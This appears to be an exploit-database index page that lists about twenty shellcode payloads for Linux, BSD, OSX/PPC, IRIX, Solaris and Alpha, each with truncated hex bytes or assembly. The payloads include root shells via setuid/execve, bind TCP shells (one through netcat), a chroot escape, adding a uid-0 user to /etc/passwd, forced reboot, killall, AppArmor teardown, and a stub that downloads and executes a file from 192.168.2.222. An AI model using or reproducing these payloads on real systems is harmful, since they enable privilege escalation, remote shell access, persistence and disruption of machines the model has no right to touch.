OSX/PPC - Remote findsock by recv() Key Shellcode

OSX/PPC - Remote findsock by recv Key Shellcode. Shellcode exploit for OSXPPC platform ;;; ;;; PowerPC OSX remote findsock by recv key shellcode ;;; ;;; Dino Dai Zovi , 20040816 ;;; .globl shellcode .text .set KEY, 0x5858580a .set PTHREADEXIT, 0x90017021 ; OSX 10.3.X shellcode: Lfindsock: addis...

Linux/x86 - /etc/init.d/apparmor teardown Shellcode (53 bytes)

Linux/x86 - /etc/init.d/apparmor teardown Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Name = John Babio Twitter = 3vi1john /etc/init.d/apparmor teardown const char sc = "\x6a\x0b\x58\x31\xd2\x52\x68\x64\x6f\x77\x6e\x68\x74\x65\x61\x72\x89\xe1"...

BSD/x86 - setuid(0) + Break chroot (../ 10x Loop) + execute /bin/sh Shellcode (57 bytes)

BSD/x86 - setuid0 + Break chroot ../ 10x Loop + execute /bin/sh Shellcode 57 bytes. Shellcode exploit for BSDx86 platform / The setuid0+chroot+execve shellcode it will: setuid0 put '../' 10 times in chroot execute /bin/sh Size 57 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected]...

Alpha - setuid() Shellcode (156 bytes)

Alpha - setuid Shellcode 156 bytes. Shellcode exploit for Alpha platform char shellcode= "\x30\x15\xd9\x43" / subq $30,200,$16 / "\x11\x74\xf0\x47" / bis $31,0x83,$17 / "\x12\x14\x02\x42" / addq $16,16,$18 / "\xfc\xff\x32\xb2" / stl $17,-4$18 / "\x12\x94\x09\x42" / addq $16,76,$18 /...

Linux/x86-64 - sethostname(Rooted !) + killall Shellcode (33 bytes)

Linux/x86-64 - sethostnameRooted ! + killall Shellcode 33 bytes. Shellcode exploit for Linuxx86-64 platform Linux/x8664 sethostname & killall 33 bytes shellcode Date: 2010-04-26 Author: zbt Tested on: x8664 Debian GNU/Linux / ; sethostname"Rooted !"; ; kill-1, SIGKILL; section .text global start...

Linux/x86 - Download File (http://192.168.2.222/x) + chmod() + execute Shellcode (108 bytes)

Linux/x86 - Download File http://192.168.2.222/x + chmod + execute Shellcode 108 bytes. Shellcode exploit for Linuxx86 platform / ; Filename: downloadexec.nasm ; Author: Daniel Sauder ; Website: http://govolution.wordpress.com/ ; Tested on: Ubuntu 12.04 / 32Bit ; License:...

Linux/x86 - Socket-proxy Shellcode (372 bytes) (Generator)

Linux/x86 - Socket-proxy Shellcode 372 bytes Generator. Shellcode exploit for Generator platform /--------------------------------------------------------------------------- 372 byte socket-proxy shellcode by Russell Sanford - [email protected]...

Linux/x86 - Stager Reads Second Stage From STDIN Shellcode (14 bytes)

Linux/x86 - Stager Reads Second Stage From STDIN Shellcode 14 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 stagger that reads second stage shellcode 127 bytes maximum from stdin - 14 bytes fkz / twitter: @fkz sc = "\x6A\x7F\x5A\x54\x59\x31\xDB\x6A\x03\x58\xCD\x80\x51\xC3" Example of...

Linux/x86 - setreuid(0,0) + execve(/bin/ash,NULL,NULL) + XOR Encoded Shellcode (58 bytes)

Linux/x86 - setreuid0,0 + execve/bin/ash,NULL,NULL + XOR Encoded Shellcode 58 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/ash",NULL,NULL + XOR encoded - 58 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37 Thanks: Jonathan...

OSX/PPC - execve(/bin/sh) + Null-Free Shellcode

OSX/PPC - execve/bin/sh + Null-Free Shellcode. Shellcode exploit for OSXPPC platform ;;; $Id: ppc-execve.s,v 1.1 2003/03/01 01:10:48 ghandi Exp $ ;;; PPC MacOS X maybe others shellcode ;;; ;;; After assembly, change bytes 2 and 3 of the 'sc' instruction encoding ;;; from 0x00 to 0xff. ;;; ;;;...

Linux/x86 - Force Reboot Shellcode (36 bytes)

Linux/x86 - Force Reboot Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform Linux/x86 Force Reboot shellcode 36 bytes Author: Hamza Megahed Twitter: @HamzaMega blog: hamza-megadotblogspotdotcom E-mail: hamzadotmegahedatgmaildotcom xor %eax,%eax push %eax push $0x746f6f62 push $0x65722f6e...

BSD/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)

BSD/x86 - Write to /etc/passwd with uid0 + gid0 Shellcode 74 bytes. Shellcode exploit for BSDx86 platform / writes the line for user in /etc/passwd with uid&gid == 0 OS: BSD length: 74 written by dev0id [email protected] rootteam.void.ru rus-sec /Efnet.org greetz: mig nerf BITS 32 main: xor eax,eax...

IRIX - Bind TCP Shell (/bin/sh) Shellcode (364 bytes)

IRIX - Bind TCP Shell /bin/sh Shellcode 364 bytes. Shellcode exploit for IRIX platform / 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso / unsigned long int shellcode = 0x2416fffd, / li $s6, -3 / 0x02c07027, / nor $t6, $s6, $zero / 0x01ce2025, / or $a0, $t6, $t6 / 0x01ce2825, / o...

Linux/x86 - execve(/bin/dash) Shellcode (49 bytes)

Linux/x86 - execve/bin/dash Shellcode 49 bytes. Shellcode exploit for Linuxx86 platform / Shellcode length: 49 Author: Chroniccommand /bin/dash My first attempt at shellcode Poison security / include //49 bytes char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"...

Linux/x86 - execve(/bin/ash) + exit() Shellcode (34 bytes)

Linux/x86 - execve/bin/ash + exit Shellcode 34 bytes. Shellcode exploit for Linuxx86 platform / Linux x86 shellcode by bob from Dtors.net. execve/bin/ash; exit; Total = 34 bytes. / include char shellcode= "\x31\xc0\x50\x68\x2f\x61\x73\x68\x68" "\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"...

Linux/SPARC - setreuid(0,0) + execve() Shellcode (72 bytes)

Linux/SPARC - setreuid0,0 + execve Shellcode 72 bytes. Shellcode exploit for LinuxSPARC platform / Linux/SPARC setreuid0, 0; necessary, /bin/sh drops privs, standard execve. / char c0de = / by michel kaempf / / setuid 0 ; / "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" / setgid 0 ; /...

Linux/x86 - setreuid(0,0) + execve("/bin/csh", [/bin/csh, NULL]) + XOR Encoded Shellcode (53 bytes)

Linux/x86 - setreuid0,0 + execve"/bin/csh", /bin/csh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...

Solaris/SPARC - Bind TCP Shell Shellcode

Solaris/SPARC - Bind TCP Shell Shellcode. Shellcode exploit for SolarisSPARC platform. Tags: Metasploit Framework MSF Name: singlebindtcp Platforms: Solaris Authors: vlad902 Version: $Revision: 1.2 $ License: This file is part of the Metasploit Exploit Framework and is subject to the same license...

Alpha - /bin/sh Shellcode (80 bytes)

Alpha - /bin/sh Shellcode 80 bytes. Shellcode exploit for Alpha platform / Lamont Granquist [email protected] [email protected] / int rawcode = 0x2230fec4, / subq $16,0x13c,$17 2000/ 0x47ff0412, / clr $18 2000/ 0x42509532, / subq $18, 0x84 2000/ 0x239fffff, / xor $18, 0xffffffff,...

Linux/x86-64 - Bind TCP (1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (131 bytes)

Linux/x86-64 - Bind TCP 1337/TCP Netcat /bin/nc Shell /bin/sh Shellcode 131 bytes. Shellcode exploit for Linuxx86-64 platform ; Title: Shellcode linux/x86-64 bind-shell with netcat ; Author : Gaussillusion ; Len : 131 bytes ; Language : Nasm BITS 64 xor rdx,rdx mov rdi,0x636e2f6e69622fff shr...